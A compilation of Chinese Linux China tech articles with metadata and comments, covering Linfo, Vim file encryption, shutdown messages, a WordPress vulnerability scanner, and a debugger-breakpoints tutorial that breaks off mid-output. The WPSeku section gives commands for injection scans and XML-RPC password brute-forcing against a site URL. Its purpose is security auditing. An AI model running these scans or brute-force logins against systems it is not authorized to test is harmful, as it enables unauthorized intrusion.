/data/attachment/album/201705/27/163719b1e6b30fubbjzrmb.jpg.thumb.jpg
|
/data/attachment/album/201705/27/163719b1e6b30fubbjzrmb.jpg
| true | false | true |
ucasFL
| false |
[
"Linfo",
"监控"
] |
系统运维
|
{
"viewnum": 10714,
"commentnum": 3,
"favtimes": 5,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "101.81.171.171",
"message": "可以 mark",
"username": "来自上海的 Chrome 58.0|Windows 7 用户",
"date": "2017-05-30T23:02:10"
},
{
"postip": "61.140.27.188",
"message": "怎么感觉这里的好多文章都是在Ubuntu操作的",
"username": "南宫迟殇 [Chrome 50.0|Windows 7]",
"date": "2017-06-08T11:33:15"
},
{
"postip": "114.245.14.245",
"message": "这其实是国外的现象。",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-08T14:16:29"
}
] |
[] |
Linfo 是可扩展的，通过 composer，很容易使用 PHP5 库以程序化方式获取来自 PHP 应用的丰富的系统统计数据。它有 Web UI 及其Ncurses CLI 视图，在 Linux、Windows、BSD、Darwin/Mac OSX、Solaris 和 Minix 系统上均可用。
| 2017-05-27T16:37:27 | 2017-05-27T16:37:27 | 8,545 |
/article-8545-1.html
|
Linfo 是一个自由开源的跨平台的服务器统计 UI 或库，它可以显示大量的系统信息。Linfo 是可扩展的，通过 `composer`，很容易使用 PHP5 库以程序化方式获取来自 PHP 应用的丰富的系统统计数据。它有 Web UI 及其Ncurses CLI 视图，在 Linux、Windows、BSD、Darwin/Mac OSX、Solaris 和 Minix 系统上均可用。
Linfo 显示的系统信息包括 [CPU 类型/速度](/article-8241-1.html)、服务器的体系结构、挂载点用量、硬盘/光纤／Flash 驱动器、硬件设备、网络设备和统计信息、运行时间／启动日期、主机名、内存使用量（RAM 和 swap）、温度/电压/风扇速度和 RAID 阵列等。
### 环境要求：
* PHP 5.3
* pcre 扩展
* Linux – `/proc` 和 `/sys` 已挂载且可对 `PHP` 可读，已经在 2.6.x/3.x 内核中测试过
### 如何在 Linux 中安装 Linfo 服务器统计 UI及库
首先，在 Apache 或 Nginx 的 Web 根目录下创建 Linfo 的目录，然后，使用下面展示的 [rsync 命令](https://www.tecmint.com/rsync-local-remote-file-synchronization-commands/) 克隆仓库文件并将其移动到目录 `/var/www/html/linfo` 下：
```
$ sudo mkdir -p /var/www/html/linfo
$ git clone git://github.com/jrgp/linfo.git
$ sudo rsync -av linfo/ /var/www/html/linfo/
```
接下来，将 `sample.config.inc.php` 重命名为 `config.inc.php`。这是 Linfo 的配置文件，你可以在里面定义你想要的值：
```
$ sudo mv sample.config.inc.php config.inc.php
```
现在，在 Web 浏览器中打开链接 `http://SERVER_IP/linfo` 来查看这个 Web UI，正如下面的截图所展示的。
从截图中可以看到， Linfo 显示了系统内核信息、硬件组成、RAM 统计、网络设备、驱动器以及文件系统挂载点。
*Linux 服务器运行信息*
你可以将下面一行内容加入配置文件 `config.inc.php` 中，以便进行故障排查时看到错误信息。
```
$settings['show_errors'] = true;
```
### 以 Ncurses 模式运行 Linfo
Linfo 有一个基于 `ncurses` 的简单界面，它依赖于 `php` 的 `ncurses` 扩展。
```
# yum install php-pecl-ncurses [在 CentOS/RHEL 上]
# dnf install php-pecl-ncurses [在 Fedora 上]
$ sudo apt-get install php5-dev libncurses5-dev [在 Debian/Ubuntu 上]
```
现在，像下面这样编译这个 php 扩展：
```
$ wget http://pecl.php.net/get/ncurses-1.0.2.tgz
$ tar xzvf ncurses-1.0.2.tgz
$ cd ncurses-1.0.2
$ phpize # generate configure script
$ ./configure
$ make
$ sudo make install
```
接下来，如果编译成功并安装好了该 php 扩展，运行下面的命令：
```
$ sudo echo extension=ncurses.so > /etc/php5/cli/conf.d/ncurses.ini
```
验证 ncurse：
```
$ php -m | grep ncurses
```
现在，运行 Info：
```
$ cd /var/www/html/linfo/
$ ./linfo-curses
```
*Linux 服务器信息*
Info 中尚欠缺下面这些功能：
1. 支持更多 Unix 操作系统（比如 Hurd、IRIX、AIX 和 HP UX 等）
2. 支持不太出名的操作系统 Haiku/BeOS
3. 额外功能/扩展
4. 在 ncurses 模式中支持 [htop 类](https://www.tecmint.com/install-htop-linux-process-monitoring-for-rhel-centos-fedora/) 特性
如果想了解更多信息，请访问 Linfo 的 GitHub 仓库： <https://github.com/jrgp/linfo>
这就是本文的全部内容了。从现在起，你可以使用 Linfo 在 Web 浏览器中查看 Linux 系统的信息。尝试一下，并在评论中和我们分享你的想法。另外，你是否还知道与之类似的有用工具/库？如果有，请给我们提供一些相关信息。
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，将来的 Linux 系统管理员和网络开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并坚信分享知识
---
via: <https://www.tecmint.com/linfo-shows-linux-server-health-status-in-real-time/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
怎样在 Linux 中用 Vim 对文件进行密码保护
|
Aaron Kili
|
https://www.tecmint.com/password-protect-vim-file-in-linux/
|
本文中，我们将向你介绍一种简单的 Vim 使用技巧：在 Linux 中使用 Vim 对文件进行密码保护。我们将向你展示如何让一个文件在它创建的时侯以及为了修改目的而被打开了之后获得安全防护。
|
/data/attachment/album/201705/28/102457j4ha1oacocsccajc.png.thumb.jpg
|
/data/attachment/album/201705/28/102457j4ha1oacocsccajc.png
| true | false | true |
ch-cn
| false |
[
"Vim",
"加密"
] |
技术
|
{
"viewnum": 7142,
"commentnum": 3,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "121.238.253.91",
"message": "涨姿势了。",
"username": "gxm2052 [Safari 10.1|Mac 10.12]",
"date": "2017-05-28T22:39:38"
},
{
"postip": "14.153.13.226",
"message": "不错不错",
"username": "hxgoto [Microsoft Edge 14.14393|Windows 10]",
"date": "2017-06-01T10:19:04"
},
{
"postip": "36.149.66.248",
"message": ":setlocal cm=blowfish<br />\r\n:wq<br />\r\n配图都是错的。作者在编译外文的时候也不看一下命令能不能用。<br />\r\n我在按照教程进行强加密的时候就失败了。",
"username": "来自36.149.66.248的 Firefox 53.0|Windows 10 用户",
"date": "2017-06-03T12:18:26"
}
] |
[] |
本文中，我们将向你介绍一种简单的 Vim 使用技巧：在 Linux 中使用 Vim 对文件进行密码保护。我们将向你展示如何让一个文件在它创建的时侯以及为了修改目的而被打开了之后获得安全防护。
| 2017-05-28T10:25:13 | 2017-05-28T10:25:13 | 8,547 |
/article-8547-1.html
|
[Vim](https://www.tecmint.com/vi-editor-usage/) 是一种流行的、功能丰富的和高度可扩展的 [Linux 文本编辑器](https://www.tecmint.com/best-open-source-linux-text-editors/)，它的一个特殊功能便是支持用带密码各种的加密方法来加密文本文件。
本文中，我们将向你介绍一种简单的 Vim 使用技巧：在 Linux 中使用 Vim 对文件进行密码保护。我们将向你展示如何让一个文件在它创建的时侯以及为了修改目的而被打开了之后获得安全防护。
**建议阅读：** [你应该在 Linux 中使用 Vim 编辑器的 7 个原因](/article-7728-1.html)
要安装 Vim 完整版，只需运行这些命令：
```
$ sudo apt install vim #Debian/Ubuntu 系统
$ sudo yum install vim #RHEL/CentOS 系统
$ sudo dnf install vim #Fedora 22+
```
参阅： [十年后 Vim 8.0 发布了](/article-7766-1.html) – [在 Linux 上安装](/article-8094-1.html)
### 怎样在 Linux 中用 Vim 对文件进行密码保护
Vim 有个 `-x` 选项，这个选项能让你在创建文件时用它来加密。一旦你运行下面的 [vim 命令](https://www.tecmint.com/linux-command-line-editors/)，你会被提示输入一个密钥：
```
$ vim -x file.txt
警告：正在使用弱加密方法；参见 :help 'cm'
输入加密密钥：*******
再次输入相同密钥：*******
```
如果第二次输入的密钥无误，你就能可以修改此文件了。
*被密码保护的 Vim 文件*
等你修改好之后，摁 `Esc` 和键入 `:wq` 来保存及关闭文件。下次你想打开它编辑一下，你就必须像这样去输入密钥：
```
$ vim file.txt
需要 "file.txt" 的加密密钥
警告：正在使用弱加密方法；参见 :help 'cm'
输入密钥：*******
```
假设你输了一个错误的密码（或者没输密码），你会看到一些垃圾字符。
*Vim 中的加密内容*
#### 在 Vim 中设置一种强加密方法
注意：警告信息暗示保护文件的是弱加密方法。那么接下来，我们来看看怎么在 Vim 中设置一种强加密方法。
*Vim 中文件弱加密*
为了查看加密方式（cm）集，键入如下：
```
:help 'cm'
```
输出样例：
```
*'cryptmethod'* *'cm'*
'cryptmethod' string (默认 "zip")
全局或本地到缓冲区 |global-local|
{not in Vi}
当缓冲区写进文件中所用的加密方式：
*pkzip*
zip PkZip 兼容方式。 一种弱加密方法。
与 Vim 7.2 及更老版本后向兼容。
*blowfish*
blowfish 河豚加密方式。 中级强度加密方法但有实现上
的瑕疵。需要 Vim 7.3 及以上版本，用它加密的文件不
能被 Vim 7.2 及更老版本读取。它会添加一个 “种子”，
每次你当你写入文件时，这个加密字节都不同。
```
你可以像如下所示的那样给一个 Vim 文件设置个新的加密方法（本例中我们用 `blowfish2` 加密方法）
```
:setlocal cm=blowfish2
```
然后键入回车和 `:wq` 保存文件。
*对 Vim 文件设置强加密*
现在你再打开下面的文件时应该就看不到那条警告信息了。
```
$ vim file.txt
需要 "file.txt" 的加密密钥
输入加密密钥：*******
```
你也可以在打开 Vim 文件之后来设置密码，用 `:X` 命令就能像上面所示的那样去设置一个加密密码。
可以看看我们其他的关于 Vim 编辑器的有用的文章。
1. [在 Linux 中学习有用的 Vim 编辑器的技巧](https://www.tecmint.com/learn-vi-and-vim-editor-tips-and-tricks-in-linux/)
2. [给每个 Linux 用户的 8 种有用的 Vim 编辑器技巧](https://www.tecmint.com/how-to-use-vi-and-vim-editor-in-linux/)
3. [spf13-vim – Vim 编辑器的顶级分发版](https://www.tecmint.com/spf13-vim-offers-vim-plugins-vim-editor/)
4. [怎样在 Linux 种把 Vim 编辑当作 Bash IDE 来用](/article-8467-1.html)
本文到这里就结束了！文章中我们介绍了怎么通过 Linux 下的 Vim 文本编辑器来给一个文件做加密防护。
永远记住要用强加密方式及密码来适当的保护那些可能包含了诸如用户名及密码、财务账户信息等机密信息的文本文件。
---
作者简介：
Aaron Kili 是一个 Linux 和 F.O.S.S（Free and Open-Source Software，自由及开放源代码软件）爱好者，未来的 Linux 系统管理员、Web 开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，且崇尚分享知识。
---
via: <https://www.tecmint.com/password-protect-vim-file-in-linux/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[ch-cn](https://github.com/ch-cn) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
在 Linux 服务器关机前向用户显示一条自定义消息
|
Aaron Kili
|
https://www.tecmint.com/show-linux-server-shutdown-message/
|
作为一名系统管理员，在你关闭服务器之前，你也许想要发送一条消息来警告他们系统将要关闭。
|
/data/attachment/album/201705/28/113724qs9whbzek9kr5484.jpg.thumb.jpg
|
/data/attachment/album/201705/28/113724qs9whbzek9kr5484.jpg
| true | false | true |
geekpi
| false |
[
"shutdown",
"关机"
] |
系统运维
|
{
"viewnum": 8261,
"commentnum": 0,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
作为一名系统管理员，在你关闭服务器之前，你也许想要发送一条消息来警告他们系统将要关闭。
| 2017-05-30T08:32:00 | 2017-05-30T08:32:00 | 8,548 |
/article-8548-1.html
|
在先前的文章中，我们解释了 Linux 中 [shutdown、poweroff、halt、reboot 命令的不同之处](https://www.tecmint.com/shutdown-poweroff-halt-and-reboot-commands-in-linux/)，并揭示了在用不同的选项执行这些命令时它们实际做了什么。
本篇将会向你展示如何在系统关机时向所有的系统用户发送一条自定义的消息。
**建议阅读：**[tuptime - 显示 Linux 系统的历史和统计运行时间](https://www.tecmint.com/find-linux-uptime-shutdown-and-reboot-time-with-tuptime/)
作为一名系统管理员，在你关闭服务器之前，你也许想要发送一条消息来警告他们系统将要关闭。默认上，`shutdown` 命令会如下所示给其他系统用户广播这条信息：
```
# shutdown 13:25
```
Linux 关机操作广播消息
```
Shutdown scheduled for Fri 2017-05-12 13:25:00 EAT, use 'shutdown -c' to cancel.
Broadcast message for root@tecmint (Fri 2017-05-12 13:23:34 EAT):
The system is going down for power-off at Fri 2017-05-12 13:25:00 EAT!
```
要在 shutdown 那行发送一条自定义的消息给其他系统用户，运行下面的命令。在本例中，关闭会在命令执行后的两分钟之后发生。
```
# shutdown 2 The system is going down for required maintenance. Please save any important work you are doing now!
```
*Linux 系统关闭消息*
假设你有一些关键的系统操作，如计划系统备份或更新会在系统关闭的时候进行，如下所示，你可以使用 `-c` 选项取消关机，并在执行玩这些操作后继续执行：
```
# shutdown -c
```
Linux 关机操作取消消息：
```
Shutdown scheduled for Fri 2017-05-12 14:10:22 EAT, use 'shutdown -c' to cancel.
Broadcast message for root@tecmint (Fri 2017-05-14 :10:27 EAT):
The system shutdown has been cancelled at Fri 2017-05-12 14:11:27 EAT!
```
另外，学习如何在 Linux 中使用简单和传统的方法[在重启或者开机时自动执行命令/脚本](https://www.tecmint.com/auto-execute-linux-scripts-during-reboot-or-startup/)。
不要错过：
1. [管理系统启动进程和服务（SysVinit、Systemd 和 Upstart）](https://www.tecmint.com/linux-boot-process-and-manage-services/)
2. [11 个 Linux 中 cron 计划任务示例](https://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/)
现在你知道了如何在系统关闭前向其他系统用户发送自定义消息了。你有其他关于这个主题想要分享的想法么？何不使用下面的评论栏？
---
作者简介：
Aaron Kili 是一个 Linux 和 F.O.S.S 爱好者、Linux 系统管理员、网络开发人员，现在也是 TecMint 的内容创作者，他喜欢和电脑一起工作，坚信共享知识。
---
via: <https://www.tecmint.com/show-linux-server-shutdown-message/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
WPSeku：一个找出 WordPress 安全问题的漏洞扫描器
|
Aaron Kili
|
https://www.tecmint.com/wpseku-wordpress-vulnerability-security-scanner/
|
在本篇中，我们会向你展示如何使用 WPSeku，一个 Linux 中的 WordPress 漏洞扫描器，它可以被用来找出你安装的 WordPress 的安全漏洞，并阻止潜在的威胁。
|
/data/attachment/album/201705/28/180520mbwtthjwl27bjsqs.jpg.thumb.jpg
|
/data/attachment/album/201705/28/180520mbwtthjwl27bjsqs.jpg
| true | false | true |
geekpi
| false |
[
"WordPress",
"安全",
"漏洞"
] |
系统运维
|
{
"viewnum": 9104,
"commentnum": 2,
"favtimes": 0,
"sharetimes": 1,
"likes": 0
}
|
[
{
"postip": "183.206.15.160",
"message": "请问这是仿 WPScan的吗？<br />\r\n<br />\r\n还只是 py版本的实现？",
"username": "不着调的小男生 [Firefox 53.0|GNU/Linux]",
"date": "2017-05-29T21:08:21"
},
{
"postip": "61.234.72.148",
"message": "感觉没有wpscan强大。",
"username": "kevins1022 [Chrome 58.0|Mac 10.12]",
"date": "2017-06-02T09:09:49"
}
] |
[] |
在本篇中，我们会向你展示如何使用 WPSeku，一个 Linux 中的 WordPress 漏洞扫描器，它可以被用来找出你安装的 WordPress 的安全漏洞，并阻止潜在的威胁。
| 2017-05-29T08:00:00 | 2017-05-29T08:00:00 | 8,551 |
/article-8551-1.html
|
WordPress 是一个免费开源、可高度自定义的内容管理系统（CMS），它被全世界数以百万计的人来运行博客和完整的网站。因为它是被用的最多的 CMS，因此有许多潜在的 WordPress 安全问题/漏洞需要考虑。
然而，如果我们遵循通常的 WordPress 最佳实践，这些安全问题可以避免。在本篇中，我们会向你展示如何使用 WPSeku，一个 Linux 中的 WordPress 漏洞扫描器，它可以被用来找出你安装的 WordPress 的安全漏洞，并阻止潜在的威胁。
WPSeku 是一个用 Python 写的简单的 WordPress 漏洞扫描器，它可以被用来扫描本地以及远程安装的 WordPress 来找出安全问题。
### 如何安装 WPSeku - Linux 中的 WordPress 漏洞扫描器
要在 Linux 中安装 WPSeku，你需要如下从 Github clone 最新版本的 WPSeku。
```
$ cd ~
$ git clone https://github.com/m4ll0k/WPSeku
```
完成之后，进入 WPSeku 目录，并如下运行。
```
$ cd WPSeku
```
使用 `-u` 选项指定 WordPress 的安装 URL，如下运行 WPSeku：
```
$ ./wpseku.py -u http://yourdomain.com
```
*WordPress 漏洞扫描器*
以下命令使用 `-p` 选项搜索 WordPress 插件中的跨站脚本（`x`）、本地文件夹嵌入（`l`）和 SQL 注入（`s`）漏洞，你需要在 URL 中指定插件的位置：
```
$ ./wpseku.py -u http://yourdomain.com/wp-content/plugins/wp/wp.php?id= -p [x,l,s]
```
以下命令将使用 `-b` 选项通过 XML-RPC 执行暴力密码登录。另外，你可以使用 `--user` 和 `--wordlist` 选项分别设置用户名和单词列表，如下所示。
```
$ ./wpseku.py -u http://yourdomian.com --user username --wordlist wordlist.txt -b [l,x]
```
要浏览所有 WPSeku 使用选项，输入：
```
$ ./wpseku.py --help
```
*WPSeku WordPress 漏洞扫描帮助*
WPSeku Github 仓库：<https://github.com/m4ll0k/WPSeku>
就是这样了！在本篇中，我们向你展示了如何在 Linux 中获取并使用 WPSeku 用于 WordPress 漏洞扫描。WordPress 是安全的，但需要我们遵循 WordPress 安全最佳实践才行。你有要分享的想法么？如果有，请在评论区留言。
---
作者简介：
Aaron Kili 是一个 Linux 及 F.O.S.S 热衷者，即将成为 Linux 系统管理员、web 开发者，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并坚信分享知识。
---
via: <https://www.tecmint.com/wpseku-wordpress-vulnerability-security-scanner/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
调试器工作原理（二）：断点
|
Eli Bendersky
|
http://eli.thegreenplace.net/2011/01/27/how-debuggers-work-part-2-breakpoints
|
我将会演示如何在调试器中实现断点。断点是调试的两大利器之一，另一个是可以在被调试进程的内存中检查变量值。
|
/data/attachment/album/201705/29/160211nhmvqbbbpyg8x64q.jpg.thumb.jpg
|
/data/attachment/album/201705/29/160211nhmvqbbbpyg8x64q.jpg
| true | false | true |
wi-cuckoo
| false |
[
"调试器",
"追踪"
] |
软件开发
|
{
"viewnum": 9199,
"commentnum": 1,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "1.56.217.144",
"message": "没想到真的有后续了，不错不错",
"username": "来自黑龙江牡丹江的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-29T20:50:45"
}
] |
[
{
"raid": 8418,
"displayorder": 0
},
{
"raid": 8579,
"displayorder": 0
}
] |
我将会演示如何在调试器中实现断点。断点是调试的两大利器之一，另一个是可以在被调试进程的内存中检查变量值。
| 2017-05-29T16:02:00 | 2017-05-29T16:02:00 | 8,552 |
/article-8552-1.html
|
这是调试器工作原理系列文章的第二部分，阅读本文前，请确保你已经读过[第一部分](/article-8418-1.html)。
### 关于本文
我将会演示如何在调试器中实现断点。断点是调试的两大利器之一，另一个是可以在被调试进程的内存中检查变量值。我们在系列的第一部分已经了解过值检查，但是断点对我们来说依然神秘。不过本文过后，它们就不再如此了。
### 软件中断
为了在 x86 架构机器上实现断点，软件中断（也被称作“陷阱”）被会派上用场。在我们深入细节之前，我想先大致解释一下中断和陷阱的概念。
CPU 有一条单独的执行流，一条指令接一条的执行（在更高的层面看是这样的，但是在底层的细节上来说，现在的许多 CPU 都会并行执行多个指令，这其中的一些指令就不是按照原本的顺序执行的）。为了能够处理异步的事件，如 IO 和 硬件定时器，CPU 使用了中断。硬件中断通常是一个特定的电子信号，并附加了一个特别的”响应电路”。该电路通知中断激活，并让 CPU 停止当前执行，保存状态，然后跳转到一个预定义的地址，也就是中断处理程序的位置。当处理程序完成其工作后，CPU 又从之前停止的地方重新恢复运行。
软件中断在规则上与硬件相似，但实际操作中有些不同。CPU 支持一些特殊的指令，来允许软件模拟出一个中断。当这样的一个指令被执行时，CPU 像对待一个硬件中断那样 —— 停止正常的执行流，保存状态，然后跳转到一个处理程序。这种“中断”使得许多现代 OS 的惊叹设计得以高效地实现（如任务调度，虚拟内存，内存保护，调试）。
许多编程错误（如被 0 除）也被 CPU 当做中断对待，常常也叫做“异常”， 这时候硬件和软件中断之间的界限就模糊了，很难说这种异常到底是硬件中断还是软件中断。但我已经偏离今天主题太远了，所以现在让我们回到断点上来。
### int 3 理论
前面说了很多，现在简单来说断点就是一个部署在 CPU 上的特殊中断，叫 `int 3`。`int` 是一个 “中断指令”的 x86 术语，该指令是对一个预定义中断处理的调用。x86 支持 8 位的 int 指令操作数，这决定了中断的数量，所以理论上可以支持 256 个中断。前 32 个中断为 CPU 自己保留，而 int 3 就是本文关注的 —— 它被叫做 “调试器专用中断”。
避免更深的解释，我将引用“圣经”里一段话（这里说的“圣经”，当然指的是英特尔的体系结构软件开发者手册, 卷 2A）。
>
> INT 3 指令生成一个以字节操作码（CC），用于调用该调试异常处理程序。（这个一字节格式是非常有用的，因为它可以用于使用断点来替换任意指令的第一个字节 ，包括哪些一字节指令，而不会覆写其它代码）
>
>
>
上述引用非常重要，但是目前去解释它还是为时过早。本文后面我们会回过头再看。
### int 3 实践
没错，知道事物背后的理论非常不错，不过，这些理论到底意思是啥？我们怎样使用 `int 3` 部署断点？或者怎么翻译成通用的编程术语 —— *请给我看代码！*
实际上，实现非常简单。一旦你的程序执行了 `int 3` 指令， OS 就会停止程序（ OS 是怎么做到像这样停止进程的？ OS 注册其 int 3 的控制程序到 CPU 即可，就这么简单）。在 Linux（这也是本文比较关心的地方） 上， OS 会发送给进程一个信号 —— `SIGTRAP`。
就是这样，真的。现在回想一下本系列的第一部分, 追踪进程（调试程序） 会得到其子进程（或它所连接的被调试进程）所得到的所有信号的通知，接下来你就知道了。
就这样, 没有更多的电脑架构基础术语了。该是例子和代码的时候了。
### 手动设置断点
现在我要演示在程序里设置断点的代码。我要使用的程序如下：
```
section .text
; The _start symbol must be declared for the linker (ld)
global _start
_start:
; Prepare arguments for the sys_write system call:
; - eax: system call number (sys_write)
; - ebx: file descriptor (stdout)
; - ecx: pointer to string
; - edx: string length
mov edx, len1
mov ecx, msg1
mov ebx, 1
mov eax, 4
; Execute the sys_write system call
int 0x80
; Now print the other message
mov edx, len2
mov ecx, msg2
mov ebx, 1
mov eax, 4
int 0x80
; Execute sys_exit
mov eax, 1
int 0x80
section .data
msg1 db 'Hello,', 0xa
len1 equ $ - msg1
msg2 db 'world!', 0xa
len2 equ $ - msg2
```
我现在在使用汇编语言，是为了当我们面对 C 代码的时候，能清楚一些编译细节。上面代码做的事情非常简单，就是在一行打印出 “hello,”，然后在下一行打印出 “world!”。这与之前文章中的程序非常类似。
现在我想在第一次打印和第二次打印之间设置一个断点。我们看到在第一条 `int 0x80` ，其后指令是 `mov edx, len2`。（等等，再次 int？是的，Linux 使用 `int 0x80` 来实现用户进程到系统内核的系统调用。用户将系统调用的号码及其参数放到寄存器，并执行 `int 0x80`。然后 CPU 会跳到相应的中断处理程序，其中， OS 注册了一个过程，该过程查看寄存器并决定要执行的系统调用。）首先，我们需要知道该指令所映射的地址。运行 `objdump -d`:
```
traced_printer2: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000033 08048080 08048080 00000080 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .data 0000000e 080490b4 080490b4 000000b4 2**2
CONTENTS, ALLOC, LOAD, DATA
Disassembly of section .text:
08048080 <.text>:
8048080: ba 07 00 00 00 mov $0x7,%edx
8048085: b9 b4 90 04 08 mov $0x80490b4,%ecx
804808a: bb 01 00 00 00 mov $0x1,%ebx
804808f: b8 04 00 00 00 mov $0x4,%eax
8048094: cd 80 int $0x80
8048096: ba 07 00 00 00 mov $0x7,%edx
804809b: b9 bb 90 04 08 mov $0x80490bb,%ecx
80480a0: bb 01 00 00 00 mov $0x1,%ebx
80480a5: b8 04 00 00 00 mov $0x4,%eax
80480aa: cd 80 int $0x80
80480ac: b8 01 00 00 00 mov $0x1,%eax
80480b1: cd 80 int $0x80
```
所以，我们要设置断点的地址是 `0x8048096`。等等，这不是调试器工作的真实姿势，对吧？真正的调试器是在代码行和函数上设置断点，而不是赤裸裸的内存地址？完全正确，但是目前我们仍然还没到那一步，为了更像*真正的*调试器一样设置断点，我们仍不得不首先理解一些符号和调试信息。所以现在，我们就得面对内存地址。
在这点上，我真想又偏离一下主题。所以现在你有两个选择，如果你真的感兴趣想知道*为什么*那个地址应该是 `0x8048096`，它代表着什么，那就看下面的部分。否则你只是想了解断点，你可以跳过这部分。
### 题外话 —— 程序地址和入口
坦白说，`0x8048096` 本身没多大意义，仅仅是可执行程序的 text 部分开端偏移的一些字节。如果你看上面导出来的列表，你会看到 text 部分从地址 `0x08048080` 开始。这告诉 OS 在分配给进程的虚拟地址空间里，将该地址映射到 text 部分开始的地方。在 Linux 上面，这些地址可以是绝对地址（例如，当可执行程序加载到内存中时它不做重定位），因为通过虚拟地址系统，每个进程获得自己的一块内存，并且将整个 32 位地址空间看做自己的（称为 “线性” 地址）。
如果我们使用 `readelf` 命令检查 ELF 文件头部（ELF，可执行和可链接格式，是 Linux 上用于对象文件、共享库和可执行程序的文件格式），我们会看到：
```
$ readelf -h traced_printer2
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048080
Start of program headers: 52 (bytes into file)
Start of section headers: 220 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 2
Size of section headers: 40 (bytes)
Number of section headers: 4
Section header string table index: 3
```
注意头部里的 `Entry point address`，它同样指向 `0x8048080`。所以我们在系统层面解释该 elf 文件的编码信息，它意思是：
1. 映射 text 部分（包含所给的内容）到地址 `0x8048080`
2. 从入口 —— 地址 `0x8048080` 处开始执行
但是，为什么是 `0x8048080` 呢？事实证明是一些历史原因。一些 Google 的结果把我引向源头，宣传每个进程的地址空间的前 128M 是保留在栈里的。128M 对应为 `0x8000000`，该地址是可执行程序其他部分可以开始的地方。而 `0x8048080`，比较特别，是 Linux `ld` 链接器使用的默认入口地址。该入口可以通过给 `ld` 传递 `-Ttext` 参数改变。
总结一下，这地址没啥特别的，我们可以随意修改它。只要 ELF 可执行文件被合理的组织，并且头部里的入口地址与真正的程序代码（text 部分）开始的地址匹配，一切都没问题。
### 用 int 3 在调试器中设置断点
为了在被追踪进程的某些目标地址设置一个断点，调试器会做如下工作：
1. 记住存储在目标地址的数据
2. 用 int 指令替换掉目标地址的第一个字节
然后，当调试器要求 OS 运行该进程的时候（通过上一篇文章中提过的 `PTRACE_CONT`），进程就会运行起来直到遇到 `int 3`，此处进程会停止运行，并且 OS 会发送一个信号给调试器。调试器会收到一个信号表明其子进程（或者说被追踪进程）停止了。调试器可以做以下工作：
1. 在目标地址，用原来的正常执行指令替换掉 int 3 指令
2. 将被追踪进程的指令指针回退一步。这是因为现在指令指针位于刚刚执行过的 int 3 之后。
3. 允许用户以某些方式与进程交互，因为该进程仍然停止在特定的目标地址。这里你的调试器可以让你取得变量值，调用栈等等。
4. 当用户想继续运行，调试器会小心地把断点放回目标地址去（因为它在第 1 步时被移走了），除非用户要求取消该断点。
让我们来看看，这些步骤是如何翻译成具体代码的。我们会用到第一篇里的调试器 “模板”（fork 一个子进程并追踪它）。无论如何，文末会有一个完整样例源代码的链接
```
/* Obtain and show child's instruction pointer */
ptrace(PTRACE_GETREGS, child_pid, 0, ®s);
procmsg("Child started. EIP = 0x%08x\n", regs.eip);
/* Look at the word at the address we're interested in */
unsigned addr = 0x8048096;
unsigned data = ptrace(PTRACE_PEEKTEXT, child_pid, (void*)addr, 0);
procmsg("Original data at 0x%08x: 0x%08x\n", addr, data);
```
这里调试器从被追踪的进程中取回了指令指针，也检查了在 `0x8048096` 的字。当开始追踪运行文章开头的汇编代码，将会打印出：
```
[13028] Child started. EIP = 0x08048080
[13028] Original data at 0x08048096: 0x000007ba
```
目前为止都看起来不错。接下来：
```
/* Write the trap instruction 'int 3' into the address */
unsigned data_with_trap = (data & 0xFFFFFF00) | 0xCC;
ptrace(PTRACE_POKETEXT, child_pid, (void*)addr, (void*)data_with_trap);
/* See what's there again... */
unsigned readback_data = ptrace(PTRACE_PEEKTEXT, child_pid, (void*)addr, 0);
procmsg("After trap, data at 0x%08x: 0x%08x\n", addr, readback_data);
```
注意到 `int 3` 是如何被插入到目标地址的。此处打印：
```
[13028] After trap, data at 0x08048096: 0x000007cc
```
正如预料的那样 —— `0xba` 被 `0xcc` 替换掉了。现在调试器运行子进程并等待它在断点处停止：
```
/* Let the child run to the breakpoint and wait for it to
** reach it
*/
ptrace(PTRACE_CONT, child_pid, 0, 0);
wait(&wait_status);
if (WIFSTOPPED(wait_status)) {
procmsg("Child got a signal: %s\n", strsignal(WSTOPSIG(wait_status)));
}
else {
perror("wait");
return;
}
/* See where the child is now */
ptrace(PTRACE_GETREGS, child_pid, 0, ®s);
procmsg("Child stopped at EIP = 0x%08x\n", regs.eip);
```
这里打印出：
```
Hello,
[13028] Child got a signal: Trace/breakpoint trap
[13028] Child stopped at EIP = 0x08048097
```
